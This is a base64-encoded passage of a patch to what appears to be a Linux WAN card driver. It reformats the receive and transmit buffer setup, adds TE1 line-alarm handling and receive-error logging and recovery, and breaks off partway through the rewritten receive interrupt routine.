ZnN0X3BvcnRfaW5mbyAqcG9ydCkKIHsKLSAgICAgICAgaW50IGk7Ci0gICAgICAgIGludCBwaTsK LSAgICAgICAgdW5zaWduZWQgaW50IG9mZnNldDsKLSAgICAgICAgdW5zaWduZWQgbG9uZyBmbGFn czsKLSAgICAgICAgc3RydWN0IGZzdF9jYXJkX2luZm8gKmNhcmQ7Ci0KLSAgICAgICAgcGkgICA9 IHBvcnQtPmluZGV4OwotICAgICAgICBjYXJkID0gcG9ydC0+Y2FyZDsKLSAgICAgICAgc3Bpbl9s b2NrX2lycXNhdmUgKCAmY2FyZC0+Y2FyZF9sb2NrLCBmbGFncyApOwotICAgICAgICBmb3IgKCBp ID0gMCA7IGkgPCBOVU1fUlhfQlVGRkVSIDsgaSsrICkKLSAgICAgICAgewotICAgICAgICAgICAg ICAgIG9mZnNldCA9IEJVRl9PRkZTRVQgKCByeEJ1ZmZlcltwaV1baV1bMF0pOwotCi0gICAgICAg ICAgICAgICAgRlNUX1dSVyAoIGNhcmQsIHJ4RGVzY3JSaW5nW3BpXVtpXS5sYWRyLCAodTE2KSBv ZmZzZXQgKTsKLSAgICAgICAgICAgICAgICBGU1RfV1JCICggY2FyZCwgcnhEZXNjclJpbmdbcGld W2ldLmhhZHIsICh1OCkoIG9mZnNldCA+PiAxNiApKTsKLSAgICAgICAgICAgICAgICBGU1RfV1JX ICggY2FyZCwgcnhEZXNjclJpbmdbcGldW2ldLmJjbnQsCi0gICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgY252X2JjbnQgKCBMRU5fUlhfQlVGRkVSICkpOwotICAgICAgICAg ICAgICAgIEZTVF9XUlcgKCBjYXJkLCByeERlc2NyUmluZ1twaV1baV0ubWNudCwgMCApOwotICAg ICAgICAgICAgICAgIEZTVF9XUkIgKCBjYXJkLCByeERlc2NyUmluZ1twaV1baV0uYml0cywgRE1B X09XTiApOwotICAgICAgICB9Ci0gICAgICAgIHBvcnQtPnJ4cG9zICA9IDA7Ci0gICAgICAgIHNw aW5fdW5sb2NrX2lycXJlc3RvcmUgKCAmY2FyZC0+Y2FyZF9sb2NrLCBmbGFncyApOworCWludCBp OworCWludCBwaTsKKwl1bnNpZ25lZCBpbnQgb2Zmc2V0OworCXVuc2lnbmVkIGxvbmcgZmxhZ3M7 CisJc3RydWN0IGZzdF9jYXJkX2luZm8gKmNhcmQ7CisKKwlwaSA9IHBvcnQtPmluZGV4OworCWNh cmQgPSBwb3J0LT5jYXJkOworCXNwaW5fbG9ja19pcnFzYXZlKCZjYXJkLT5jYXJkX2xvY2ssIGZs YWdzKTsKKwlmb3IgKGkgPSAwOyBpIDwgTlVNX1JYX0JVRkZFUjsgaSsrKSB7CisJCW9mZnNldCA9 IEJVRl9PRkZTRVQocnhCdWZmZXJbcGldW2ldWzBdKTsKKworCQlGU1RfV1JXKGNhcmQsIHJ4RGVz Y3JSaW5nW3BpXVtpXS5sYWRyLCAodTE2KSBvZmZzZXQpOworCQlGU1RfV1JCKGNhcmQsIHJ4RGVz Y3JSaW5nW3BpXVtpXS5oYWRyLCAodTgpIChvZmZzZXQgPj4gMTYpKTsKKwkJRlNUX1dSVyhjYXJk LCByeERlc2NyUmluZ1twaV1baV0uYmNudCwgY252X2JjbnQoTEVOX1JYX0JVRkZFUikpOworCQlG U1RfV1JXKGNhcmQsIHJ4RGVzY3JSaW5nW3BpXVtpXS5tY250LCBMRU5fUlhfQlVGRkVSKTsKKwkJ RlNUX1dSQihjYXJkLCByeERlc2NyUmluZ1twaV1baV0uYml0cywgRE1BX09XTik7CisJfQorCXBv cnQtPnJ4cG9zID0gMDsKKwlzcGluX3VubG9ja19pcnFyZXN0b3JlKCZjYXJkLT5jYXJkX2xvY2ss IGZsYWdzKTsKIH0KIAotCiAvKgogICogICAgICBTZXR1cCBwb3J0IFR4IGJ1ZmZlcnMKICAqLwog c3RhdGljIHZvaWQKLWZzdF90eF9jb25maWcgKCBzdHJ1Y3QgZnN0X3BvcnRfaW5mbyAqcG9ydCAp Citmc3RfdHhfY29uZmlnKHN0cnVjdCBmc3RfcG9ydF9pbmZvICpwb3J0KQogewotICAgICAgICBp bnQgaTsKLSAgICAgICAgaW50IHBpOwotICAgICAgICB1bnNpZ25lZCBpbnQgb2Zmc2V0OwotICAg ICAgICB1bnNpZ25lZCBsb25nIGZsYWdzOwotICAgICAgICBzdHJ1Y3QgZnN0X2NhcmRfaW5mbyAq Y2FyZDsKLQotICAgICAgICBwaSAgID0gcG9ydC0+aW5kZXg7Ci0gICAgICAgIGNhcmQgPSBwb3J0 LT5jYXJkOwotICAgICAgICBzcGluX2xvY2tfaXJxc2F2ZSAoICZjYXJkLT5jYXJkX2xvY2ssIGZs YWdzICk7Ci0gICAgICAgIGZvciAoIGkgPSAwIDsgaSA8IE5VTV9UWF9CVUZGRVIgOyBpKysgKQot ICAgICAgICB7Ci0gICAgICAgICAgICAgICAgb2Zmc2V0ID0gQlVGX09GRlNFVCAoIHR4QnVmZmVy W3BpXVtpXVswXSk7Ci0KLSAgICAgICAgICAgICAgICBGU1RfV1JXICggY2FyZCwgdHhEZXNjclJp bmdbcGldW2ldLmxhZHIsICh1MTYpIG9mZnNldCApOwotICAgICAgICAgICAgICAgIEZTVF9XUkIg KCBjYXJkLCB0eERlc2NyUmluZ1twaV1baV0uaGFkciwgKHU4KSggb2Zmc2V0ID4+IDE2ICkpOwot ICAgICAgICAgICAgICAgIEZTVF9XUlcgKCBjYXJkLCB0eERlc2NyUmluZ1twaV1baV0uYmNudCwg MCApOwotICAgICAgICAgICAgICAgIEZTVF9XUkIgKCBjYXJkLCB0eERlc2NyUmluZ1twaV1baV0u Yml0cywgMCApOwotICAgICAgICB9Ci0gICAgICAgIHBvcnQtPnR4cG9zICA9IDA7Ci0gICAgICAg IHBvcnQtPnR4aXBvcyA9IDA7Ci0gICAgICAgIHBvcnQtPnR4Y250ICA9IDA7Ci0gICAgICAgIHNw aW5fdW5sb2NrX2lycXJlc3RvcmUgKCAmY2FyZC0+Y2FyZF9sb2NrLCBmbGFncyApOworCWludCBp OworCWludCBwaTsKKwl1bnNpZ25lZCBpbnQgb2Zmc2V0OworCXVuc2lnbmVkIGxvbmcgZmxhZ3M7 CisJc3RydWN0IGZzdF9jYXJkX2luZm8gKmNhcmQ7CisKKwlwaSA9IHBvcnQtPmluZGV4OworCWNh cmQgPSBwb3J0LT5jYXJkOworCXNwaW5fbG9ja19pcnFzYXZlKCZjYXJkLT5jYXJkX2xvY2ssIGZs YWdzKTsKKwlmb3IgKGkgPSAwOyBpIDwgTlVNX1RYX0JVRkZFUjsgaSsrKSB7CisJCW9mZnNldCA9 IEJVRl9PRkZTRVQodHhCdWZmZXJbcGldW2ldWzBdKTsKKworCQlGU1RfV1JXKGNhcmQsIHR4RGVz Y3JSaW5nW3BpXVtpXS5sYWRyLCAodTE2KSBvZmZzZXQpOworCQlGU1RfV1JCKGNhcmQsIHR4RGVz Y3JSaW5nW3BpXVtpXS5oYWRyLCAodTgpIChvZmZzZXQgPj4gMTYpKTsKKwkJRlNUX1dSVyhjYXJk LCB0eERlc2NyUmluZ1twaV1baV0uYmNudCwgMCk7CisJCUZTVF9XUkIoY2FyZCwgdHhEZXNjclJp bmdbcGldW2ldLmJpdHMsIDApOworCX0KKwlwb3J0LT50eHBvcyA9IDA7CisJcG9ydC0+dHhpcG9z ID0gMDsKKwlwb3J0LT5zdGFydCA9IDA7CisJc3Bpbl91bmxvY2tfaXJxcmVzdG9yZSgmY2FyZC0+ Y2FyZF9sb2NrLCBmbGFncyk7CiB9CiAKKy8qICAgICAgVEUxIEFsYXJtIGNoYW5nZSBpbnRlcnJ1 cHQgZXZlbnQKKyAqLworc3RhdGljIHZvaWQKK2ZzdF9pbnRyX3RlMV9hbGFybShzdHJ1Y3QgZnN0 X2NhcmRfaW5mbyAqY2FyZCwgc3RydWN0IGZzdF9wb3J0X2luZm8gKnBvcnQpCit7CisJdTggbG9z OworCXU4IHJyYTsKKwl1OCBhaXM7CisKKwlsb3MgPSBGU1RfUkRCKGNhcmQsIHN1U3RhdHVzLmxv c3NPZlNpZ25hbCk7CisJcnJhID0gRlNUX1JEQihjYXJkLCBzdVN0YXR1cy5yZWNlaXZlUmVtb3Rl QWxhcm0pOworCWFpcyA9IEZTVF9SREIoY2FyZCwgc3VTdGF0dXMuYWxhcm1JbmRpY2F0aW9uU2ln bmFsKTsKKworCWlmIChsb3MpIHsKKwkJLyoKKwkJICogTG9zdCB0aGUgbGluaworCQkgKi8KKwkJ aWYgKG5ldGlmX2NhcnJpZXJfb2socG9ydF90b19kZXYocG9ydCkpKSB7CisJCQlkYmcoREJHX0lO VFIsICJOZXQgY2FycmllciBvZmZcbiIpOworCQkJbmV0aWZfY2Fycmllcl9vZmYocG9ydF90b19k ZXYocG9ydCkpOworCQl9CisJfSBlbHNlIHsKKwkJLyoKKwkJICogTGluayBhdmFpbGFibGUKKwkJ ICovCisJCWlmICghbmV0aWZfY2Fycmllcl9vayhwb3J0X3RvX2Rldihwb3J0KSkpIHsKKwkJCWRi ZyhEQkdfSU5UUiwgIk5ldCBjYXJyaWVyIG9uXG4iKTsKKwkJCW5ldGlmX2NhcnJpZXJfb24ocG9y dF90b19kZXYocG9ydCkpOworCQl9CisJfQorCisJaWYgKGxvcykKKwkJZGJnKERCR19JTlRSLCAi QXNzZXJ0IExPUyBBbGFybVxuIik7CisJZWxzZQorCQlkYmcoREJHX0lOVFIsICJEZS1hc3NlcnQg TE9TIEFsYXJtXG4iKTsKKwlpZiAocnJhKQorCQlkYmcoREJHX0lOVFIsICJBc3NlcnQgUlJBIEFs YXJtXG4iKTsKKwllbHNlCisJCWRiZyhEQkdfSU5UUiwgIkRlLWFzc2VydCBSUkEgQWxhcm1cbiIp OworCisJaWYgKGFpcykKKwkJZGJnKERCR19JTlRSLCAiQXNzZXJ0IEFJUyBBbGFybVxuIik7CisJ ZWxzZQorCQlkYmcoREJHX0lOVFIsICJEZS1hc3NlcnQgQUlTIEFsYXJtXG4iKTsKK30KIAogLyog ICAgICBDb250cm9sIHNpZ25hbCBjaGFuZ2UgaW50ZXJydXB0IGV2ZW50CiAgKi8KIHN0YXRpYyB2 b2lkCi1mc3RfaW50cl9jdGxjaGcgKCBzdHJ1Y3QgZnN0X2NhcmRfaW5mbyAqY2FyZCwgc3RydWN0 IGZzdF9wb3J0X2luZm8gKnBvcnQgKQorZnN0X2ludHJfY3RsY2hnKHN0cnVjdCBmc3RfY2FyZF9p bmZvICpjYXJkLCBzdHJ1Y3QgZnN0X3BvcnRfaW5mbyAqcG9ydCkKIHsKLSAgICAgICAgaW50IHNp Z25hbHM7CisJaW50IHNpZ25hbHM7CisKKwlzaWduYWxzID0gRlNUX1JETChjYXJkLCB2MjREZWJv dW5jZWRTdHNbcG9ydC0+aW5kZXhdKTsKIAotICAgICAgICBzaWduYWxzID0gRlNUX1JETCAoIGNh cmQsIHYyNERlYm91bmNlZFN0c1twb3J0LT5pbmRleF0pOworCWlmIChzaWduYWxzICYgKCgocG9y dC0+aHdpZiA9PSBYMjEpIHx8IChwb3J0LT5od2lmID09IFgyMUQpKQorCQkgICAgICAgPyBJUFNU U19JTkRJQ0FURSA6IElQU1RTX0RDRCkpIHsKKwkJaWYgKCFuZXRpZl9jYXJyaWVyX29rKHBvcnRf dG9fZGV2KHBvcnQpKSkgeworCQkJZGJnKERCR19JTlRSLCAiRENEIGFjdGl2ZVxuIik7CisJCQlu ZXRpZl9jYXJyaWVyX29uKHBvcnRfdG9fZGV2KHBvcnQpKTsKKwkJfQorCX0gZWxzZSB7CisJCWlm IChuZXRpZl9jYXJyaWVyX29rKHBvcnRfdG9fZGV2KHBvcnQpKSkgeworCQkJZGJnKERCR19JTlRS LCAiRENEIGxvc3RcbiIpOworCQkJbmV0aWZfY2Fycmllcl9vZmYocG9ydF90b19kZXYocG9ydCkp OworCQl9CisJfQorfQogCi0gICAgICAgIGlmICggc2lnbmFscyAmICgoIHBvcnQtPmh3aWYgPT0g WDIxICkgPyBJUFNUU19JTkRJQ0FURSA6IElQU1RTX0RDRCApKQotICAgICAgICB7Ci0gICAgICAg ICAgICAgICAgaWYgKCAhIG5ldGlmX2NhcnJpZXJfb2sgKCBwb3J0X3RvX2RldiAoIHBvcnQgKSkp Ci0gICAgICAgICAgICAgICAgewotICAgICAgICAgICAgICAgICAgICAgICAgZGJnICggREJHX0lO VFIsIkRDRCBhY3RpdmVcbiIpOwotICAgICAgICAgICAgICAgICAgICAgICAgbmV0aWZfY2Fycmll cl9vbiAoIHBvcnRfdG9fZGV2ICggcG9ydCApKTsKLSAgICAgICAgICAgICAgICB9Ci0gICAgICAg IH0KLSAgICAgICAgZWxzZQotICAgICAgICB7Ci0gICAgICAgICAgICAgICAgaWYgKCBuZXRpZl9j YXJyaWVyX29rICggcG9ydF90b19kZXYgKCBwb3J0ICkpKQotICAgICAgICAgICAgICAgIHsKLSAg ICAgICAgICAgICAgICAgICAgICAgIGRiZyAoIERCR19JTlRSLCJEQ0QgbG9zdFxuIik7Ci0gICAg ICAgICAgICAgICAgICAgICAgICBuZXRpZl9jYXJyaWVyX29mZiAoIHBvcnRfdG9fZGV2ICggcG9y dCApKTsKLSAgICAgICAgICAgICAgICB9Ci0gICAgICAgIH0KKy8qICAgICAgTG9nIFJ4IEVycm9y cworICovCitzdGF0aWMgdm9pZAorZnN0X2xvZ19yeF9lcnJvcihzdHJ1Y3QgZnN0X2NhcmRfaW5m byAqY2FyZCwgc3RydWN0IGZzdF9wb3J0X2luZm8gKnBvcnQsCisJCSB1bnNpZ25lZCBjaGFyIGRt YWJpdHMsIGludCByeHAsIHVuc2lnbmVkIHNob3J0IGxlbikKK3sKKwkvKiAKKwkgKiBJbmNyZW1l bnQgdGhlIGFwcHJvcHJpYXRlIGVycm9yIGNvdW50ZXIKKwkgKi8KKwlwb3J0LT5oZGxjLnN0YXRz LnJ4X2Vycm9ycysrOworCWlmIChkbWFiaXRzICYgUlhfT0ZMTykgeworCQlwb3J0LT5oZGxjLnN0 YXRzLnJ4X2ZpZm9fZXJyb3JzKys7CisJCWRiZyhEQkdfQVNTLCAiUnggZmlmbyBlcnJvciBvbiBj YXJkICVkIHBvcnQgJWQgYnVmZmVyICVkXG4iLAorCQkgICAgY2FyZC0+Y2FyZF9ubywgcG9ydC0+ aW5kZXgsIHJ4cCk7CisJfQorCWlmIChkbWFiaXRzICYgUlhfQ1JDKSB7CisJCXBvcnQtPmhkbGMu c3RhdHMucnhfY3JjX2Vycm9ycysrOworCQlkYmcoREJHX0FTUywgIlJ4IGNyYyBlcnJvciBvbiBj YXJkICVkIHBvcnQgJWRcbiIsCisJCSAgICBjYXJkLT5jYXJkX25vLCBwb3J0LT5pbmRleCk7CisJ fQorCWlmIChkbWFiaXRzICYgUlhfRlJBTSkgeworCQlwb3J0LT5oZGxjLnN0YXRzLnJ4X2ZyYW1l X2Vycm9ycysrOworCQlkYmcoREJHX0FTUywgIlJ4IGZyYW1lIGVycm9yIG9uIGNhcmQgJWQgcG9y dCAlZFxuIiwKKwkJICAgIGNhcmQtPmNhcmRfbm8sIHBvcnQtPmluZGV4KTsKKwl9CisJaWYgKGRt YWJpdHMgPT0gKFJYX1NUUCB8IFJYX0VOUCkpIHsKKwkJcG9ydC0+aGRsYy5zdGF0cy5yeF9sZW5n dGhfZXJyb3JzKys7CisJCWRiZyhEQkdfQVNTLCAiUnggbGVuZ3RoIGVycm9yICglZCkgb24gY2Fy ZCAlZCBwb3J0ICVkXG4iLAorCQkgICAgbGVuLCBjYXJkLT5jYXJkX25vLCBwb3J0LT5pbmRleCk7 CisJfQogfQogCisvKiAgICAgIFJ4IEVycm9yIFJlY292ZXJ5CisgKi8KK3N0YXRpYyB2b2lkCitm c3RfcmVjb3Zlcl9yeF9lcnJvcihzdHJ1Y3QgZnN0X2NhcmRfaW5mbyAqY2FyZCwgc3RydWN0IGZz dF9wb3J0X2luZm8gKnBvcnQsCisJCSAgICAgdW5zaWduZWQgY2hhciBkbWFiaXRzLCBpbnQgcnhw LCB1bnNpZ25lZCBzaG9ydCBsZW4pCit7CisJaW50IGk7CisJaW50IHBpOworCisJcGkgPSBwb3J0 LT5pbmRleDsKKwkvKiAKKwkgKiBEaXNjYXJkIGJ1ZmZlciBkZXNjcmlwdG9ycyB1bnRpbCB3ZSBz ZWUgdGhlIHN0YXJ0IG9mIHRoZQorCSAqIG5leHQgZnJhbWUuICBOb3RlIHRoYXQgZm9yIGxvbmcg ZnJhbWVzIHRoaXMgY291bGQgYmUgaW4KKwkgKiBhIHN1YnNlcXVlbnQgaW50ZXJydXB0LiAKKwkg Ki8KKwlpID0gMDsKKwl3aGlsZSAoKGRtYWJpdHMgJiAoRE1BX09XTiB8IFJYX1NUUCkpID09IDAp IHsKKwkJRlNUX1dSQihjYXJkLCByeERlc2NyUmluZ1twaV1bcnhwXS5iaXRzLCBETUFfT1dOKTsK KwkJcnhwID0gKHJ4cCsxKSAlIE5VTV9SWF9CVUZGRVI7CisJCWlmICgrK2kgPiBOVU1fUlhfQlVG RkVSKSB7CisJCQlkYmcoREJHX0FTUywgImludHJfcng6IERpc2NhcmRpbmcgbW9yZSBidWZzIgor CQkJICAgICIgdGhhbiB3ZSBoYXZlXG4iKTsKKwkJCWJyZWFrOworCQl9CisJCWRtYWJpdHMgPSBG U1RfUkRCKGNhcmQsIHJ4RGVzY3JSaW5nW3BpXVtyeHBdLmJpdHMpOworCQlkYmcoREJHX0FTUywg IkRNQSBCaXRzIG9mIG5leHQgYnVmZmVyIHdhcyAleFxuIiwgZG1hYml0cyk7CisJfQorCWRiZyhE QkdfQVNTLCAiVGhlcmUgd2VyZSAlZCBzdWJzZXF1ZW50IGJ1ZmZlcnMgaW4gZXJyb3JcbiIsIGkp OworCisJLyogRGlzY2FyZCB0aGUgdGVybWluYWwgYnVmZmVyICovCisJaWYgKCEoZG1hYml0cyAm IERNQV9PV04pKSB7CisJCUZTVF9XUkIoY2FyZCwgcnhEZXNjclJpbmdbcGldW3J4cF0uYml0cywg RE1BX09XTik7CisJCXJ4cCA9IChyeHArMSkgJSBOVU1fUlhfQlVGRkVSOworCX0KKwlwb3J0LT5y eHBvcyA9IHJ4cDsKKwlyZXR1cm47CisKK30KIAogLyogICAgICBSeCBjb21wbGV0ZSBpbnRlcnJ1 cHQKICAqLwogc3RhdGljIHZvaWQKLWZzdF9pbnRyX3J4ICggc3RydWN0IGZzdF9jYXJkX2luZm8g KmNhcmQsIHN0cnVjdCBmc3RfcG9ydF9pbmZvICpwb3J0ICkKK2ZzdF9pbnRyX3J4KHN0cnVjdCBm c3RfY2FyZF9pbmZvICpjYXJkLCBzdHJ1Y3QgZnN0X3BvcnRfaW5mbyAqcG9ydCkKIHsKLSAgICAg ICAgdW5zaWduZWQgY2hhciBkbWFiaXRzOwotICAgICAgICBpbnQgcGk7Ci0gICAgICAgIGludCBy eHA7Ci0gICAgICAgIHVuc2lnbmVkIHNob3J0IGxlbjsKLSAgICAgICAgc3RydWN0IHNrX2J1ZmYg KnNrYjsKLSAgICAgICAgaW50IGk7Ci0KLQotICAgICAgICAvKiBDaGVjayB3ZSBoYXZlIGEgYnVm ZmVyIHRvIHByb2Nlc3MgKi8KLSAgICAgICAgcGkgID0gcG9ydC0+aW5kZXg7Ci0gICAgICAgIHJ4 cCA9IHBvcnQtPnJ4cG9zOwotICAgICAgICBkbWFiaXRzID0gRlNUX1JEQiAoIGNhcmQsIHJ4RGVz Y3JSaW5nW3BpXVtyeHBdLmJpdHMgKTsKLSAgICAgICAgaWYgKCBkbWFiaXRzICYgRE1BX09XTiAp Ci0gICAgICAgIHsKLSAgICAgICAgICAgICAgICBkYmcgKCBEQkdfUlggfCBEQkdfSU5UUiwiaW50 cl9yeDogTm8gYnVmZmVyIHBvcnQgJWQgcG9zICVkXG4iLAotICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIHBpLCByeHAgKTsKLSAgICAgICAgICAgICAgICByZXR1cm47Ci0g ICAgICAgIH0KLQotICAgICAgICAvKiBHZXQgYnVmZmVyIGxlbmd0aCAqLwotICAgICAgICBsZW4g PSBGU1RfUkRXICggY2FyZCwgcnhEZXNjclJpbmdbcGldW3J4cF0ubWNudCApOwotICAgICAgICAv KiBEaXNjYXJkIHRoZSBDUkMgKi8KLSAgICAgICAgbGVuIC09IDI7Ci0KLSAgICAgICAgLyogQ2hl Y2sgYnVmZmVyIGxlbmd0aCBhbmQgZm9yIG90aGVyIGVycm9ycy4gV2UgaW5zaXN0IG9uIG9uZSBw YWNrZXQKLSAgICAgICAgICogaW4gb25lIGJ1ZmZlci4gVGhpcyBzaW1wbGlmaWVzIHRoaW5ncyBn cmVhdGx5IGFuZCBzaW5jZSB3ZSd2ZQotICAgICAgICAgKiBhbGxvY2F0ZWQgOEsgaXQgc2hvdWxk bid0IGJlIGEgcmVhbCB3b3JsZCBsaW1pdGF0aW9uCi0gICAgICAgICAqLwotICAgICAgICBkYmcg KCBEQkdfUlgsImludHJfcng6ICVkLCVkOiBmbGFncyAleCBsZW4gJWRcbiIsIHBpLCByeHAsIGRt YWJpdHMsCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbGVuICk7Ci0g ICAgICAgIGlmICggZG1hYml0cyAhPSAoIFJYX1NUUCB8IFJYX0VOUCApIHx8IGxlbiA+IExFTl9S WF9CVUZGRVIgLSAyICkKLSAgICAgICAgewotICAgICAgICAgICAgICAgIHBvcnQtPmhkbGMuc3Rh dHMucnhfZXJyb3JzKys7Ci0KLSAgICAgICAgICAgICAgICAvKiBVcGRhdGUgZXJyb3Igc3RhdHMg YW5kIGRpc2NhcmQgYnVmZmVyICovCi0gICAgICAgICAgICAgICAgaWYgKCBkbWFiaXRzICYgUlhf T0ZMTyApCi0gICAgICAgICAgICAgICAgewotICAgICAgICAgICAgICAgICAgICAgICAgcG9ydC0+ aGRsYy5zdGF0cy5yeF9maWZvX2Vycm9ycysrOwotICAgICAgICAgICAgICAgIH0KLSAgICAgICAg ICAgICAgICBpZiAoIGRtYWJpdHMgJiBSWF9DUkMgKQotICAgICAgICAgICAgICAgIHsKLSAgICAg ICAgICAgICAgICAgICAgICAgIHBvcnQtPmhkbGMuc3RhdHMucnhfY3JjX2Vycm9ycysrOwotICAg ICAgICAgICAgICAgIH0KLSAgICAgICAgICAgICAgICBpZiAoIGRtYWJpdHMgJiBSWF9GUkFNICkK LSAgICAgICAgICAgICAgICB7Ci0gICAgICAgICAgICAgICAgICAgICAgICBwb3J0LT5oZGxjLnN0 YXRzLnJ4X2ZyYW1lX2Vycm9ycysrOwotICAgICAgICAgICAgICAgIH0KLSAgICAgICAgICAgICAg ICBpZiAoIGRtYWJpdHMgPT0gKCBSWF9TVFAgfCBSWF9FTlAgKSkKLSAgICAgICAgICAgICAgICB7 Ci0gICAgICAgICAgICAgICAgICAgICAgICBwb3J0LT5oZGxjLnN0YXRzLnJ4X2xlbmd0aF9lcnJv cnMrKzsKLSAgICAgICAgICAgICAgICB9Ci0KLSAgICAgICAgICAgICAgICAvKiBEaXNjYXJkIGJ1 ZmZlciBkZXNjcmlwdG9ycyB1bnRpbCB3ZSBzZWUgdGhlIGVuZCBvZiBwYWNrZXQKLSAgICAgICAg ICAgICAgICAgKiBtYXJrZXIKLSAgICAgICAgICAgICAgICAgKi8KLSAgICAgICAgICAgICAgICBp ID0gMDsKLSAgICAgICAgICAgICAgICB3aGlsZSAoKCBkbWFiaXRzICYgKCBETUFfT1dOIHwgUlhf RU5QICkpID09IDAgKQotICAgICAgICAgICAgICAgIHsKLSAgICAgICAgICAgICAgICAgICAgICAg IEZTVF9XUkIgKCBjYXJkLCByeERlc2NyUmluZ1twaV1bcnhwXS5iaXRzLCBETUFfT1dOICk7Ci0g ICAgICAgICAgICAgICAgICAgICAgICBpZiAoICsrcnhwID49IE5VTV9SWF9CVUZGRVIgKQotICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICByeHAgPSAwOwotICAgICAgICAgICAgICAgICAg ICAgICAgaWYgKCArK2kgPiBOVU1fUlhfQlVGRkVSICkKLSAgICAgICAgICAgICAgICAgICAgICAg IHsKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGJnICggREJHX0FTUywiaW50cl9y eDogRGlzY2FyZGluZyBtb3JlIGJ1ZnMiCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAiIHRoYW4gd2UgaGF2ZVxuIik7Ci0gICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIGJyZWFrOwotICAgICAgICAgICAgICAgICAgICAgICAgfQotICAgICAgICAg ICAgICAgICAgICAgICAgZG1hYml0cyA9IEZTVF9SREIgKCBjYXJkLCByeERlc2NyUmluZ1twaV1b cnhwXS5iaXRzICk7Ci0gICAgICAgICAgICAgICAgfQotCi0gICAgICAgICAgICAgICAgLyogRGlz Y2FyZCB0aGUgdGVybWluYWwgYnVmZmVyICovCi0gICAgICAgICAgICAgICAgaWYgKCAhICggZG1h Yml0cyAmIERNQV9PV04gKSkKLSAgICAgICAgICAgICAgICB7Ci0gICAgICAgICAgICAgICAgICAg ICAgICBGU1RfV1JCICggY2FyZCwgcnhEZXNjclJpbmdbcGldW3J4cF0uYml0cywgRE1BX09XTiAp OwotICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCArK3J4cCA+PSBOVU1fUlhfQlVGRkVSICkK LSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnhwID0gMDsKLSAgICAgICAgICAgICAg ICB9Ci0gICAgICAgICAgICAgICAgcG9ydC0+cnhwb3MgPSByeHA7Ci0gICAgICAgICAgICAgICAg cmV0dXJuOwotICAgICAgICB9Ci0KLSAgICAgICAgLyogQWxsb2NhdGUgU0tCICovCi0gICAgICAg IGlmICgoIHNrYiA9IGRldl9hbGxvY19za2IgKCBsZW4gKSkgPT0gTlVMTCApCi0gICAgICAgIHsK LSAgICAgICAgICAgICAgICBkYmcgKCBEQkdfUlgsImludHJfcng6IGNhbid0IGFsbG9jYXRlIGJ1 ZmZlclxuIik7Ci0KLSAgICAgICAgICAgICAgICBwb3J0LT5oZGxjLnN0YXRzLnJ4X2Ryb3BwZWQr KzsKLQotICAgICAgICAgICAgICAgIC8qIFJldHVybiBkZXNjcmlwdG9yIHRvIGNhcmQgKi8KLSAg ICAgICAgICAgICAgICBGU1RfV1JCICggY2FyZCwgcnhEZXNjclJpbmdbcGldW3J4cF0uYml0cywg RE1BX09XTiApOwotCi0gICAgICAgICAgICAgICAgaWYgKCArK3J4cCA+PSBOVU1fUlhfQlVGRkVS ICkKLSAgICAgICAgICAgICAgICAgICAgICAgIHBvcnQtPnJ4cG9zID0gMDsKLSAgICAgICAgICAg ICAgICBlbHNlCi0gICAgICAgICAgICAgICAgICAgICAgICBwb3J0LT5yeHBvcyA9IHJ4cDsKLSAg ICAgICAgICAgICAgICByZXR1cm47Ci0gICAgICAgIH0KLQotICAgICAgICBtZW1jcHlfZnJvbWlv ICggc2tiX3B1dCAoIHNrYiwgbGVuICksCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IGNhcmQtPm1lbSArIEJVRl9PRkZTRVQgKCByeEJ1ZmZlcltwaV1bcnhwXVswXSksCi0gICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIGxlbiApOwotCi0gICAgICAgIC8qIFJlc2V0IGJ1ZmZl ciBkZXNjcmlwdG9yICovCi0gICAgICAgIEZTVF9XUkIgKCBjYXJkLCByeERlc2NyUmluZ1twaV1b cnhwXS5iaXRzLCBETUFfT1dOICk7Ci0gICAgICAgIGlmICggKytyeHAgPj0gTlVNX1JYX0JVRkZF UiApCi0gICAgICAgICAgICAgICAgcG9ydC0+cnhwb3MgPSAwOwotICAgICAgICBlbHNlCi0gICAg ICAgICAgICAgICAgcG9ydC0+cnhwb3MgPSByeHA7Ci0KLSAgICAgICAgLyogVXBkYXRlIHN0YXRz ICovCi0gICAgICAgIHBvcnQtPmhkbGMuc3RhdHMucnhfcGFja2V0cysrOwotICAgICAgICBwb3J0 LT5oZGxjLnN0YXRzLnJ4X2J5dGVzICs9IGxlbjsKLQotICAgICAgICAvKiBQdXNoIHVwc3RyZWFt ICovCi0gICAgICAgIHNrYi0+bWFjLnJhdyA9IHNrYi0+ZGF0YTsKLSAgICAgICAgc2tiLT5kZXYg PSBoZGxjX3RvX2RldiAoICZwb3J0LT5oZGxjICk7Ci0gICAgICAgIHNrYi0+cHJvdG9jb2wgPSBo ZGxjX3R5cGVfdHJhbnMoc2tiLCBza2ItPmRldik7Ci0gICAgICAgIG5ldGlmX3J4ICggc2tiICk7 CisJdW5zaWduZWQgY2hhciBkbWFiaXRzOworCWludCBwaTsKKwlpbnQgcnhwOworCWludCByeF9z dGF0dXM7CisJdW5zaWduZWQgc2hvcnQgbGVuOworCXN0cnVjdCBza19idWZmICpza2I7CisKKwkv KiBDaGVjayB3ZSBoYXZlIGEgYnVmZmVyIHRvIHByb2Nlc3MgKi8KKwlwaSA9IHBvcnQtPmluZGV4 OworCXJ4cCA9IHBvcnQtPnJ4cG9zOworCWRtYWJpdHMgPSBGU1RfUkRCKGNhcmQsIHJ4RGVzY3JS aW5nW3BpXVtyeHBdLmJpdHMpOworCWlmIChkbWFiaXRzICYgRE1BX09XTikgeworCQlkYmcoREJH X1JYIHwgREJHX0lOVFIsICJpbnRyX3J4OiBObyBidWZmZXIgcG9ydCAlZCBwb3MgJWRcbiIsCisJ CSAgICBwaSwgcnhwKTsKKwkJcmV0dXJuOworCX0KKwlpZiAoY2FyZC0+ZG1hcnhfaW5fcHJvZ3Jl 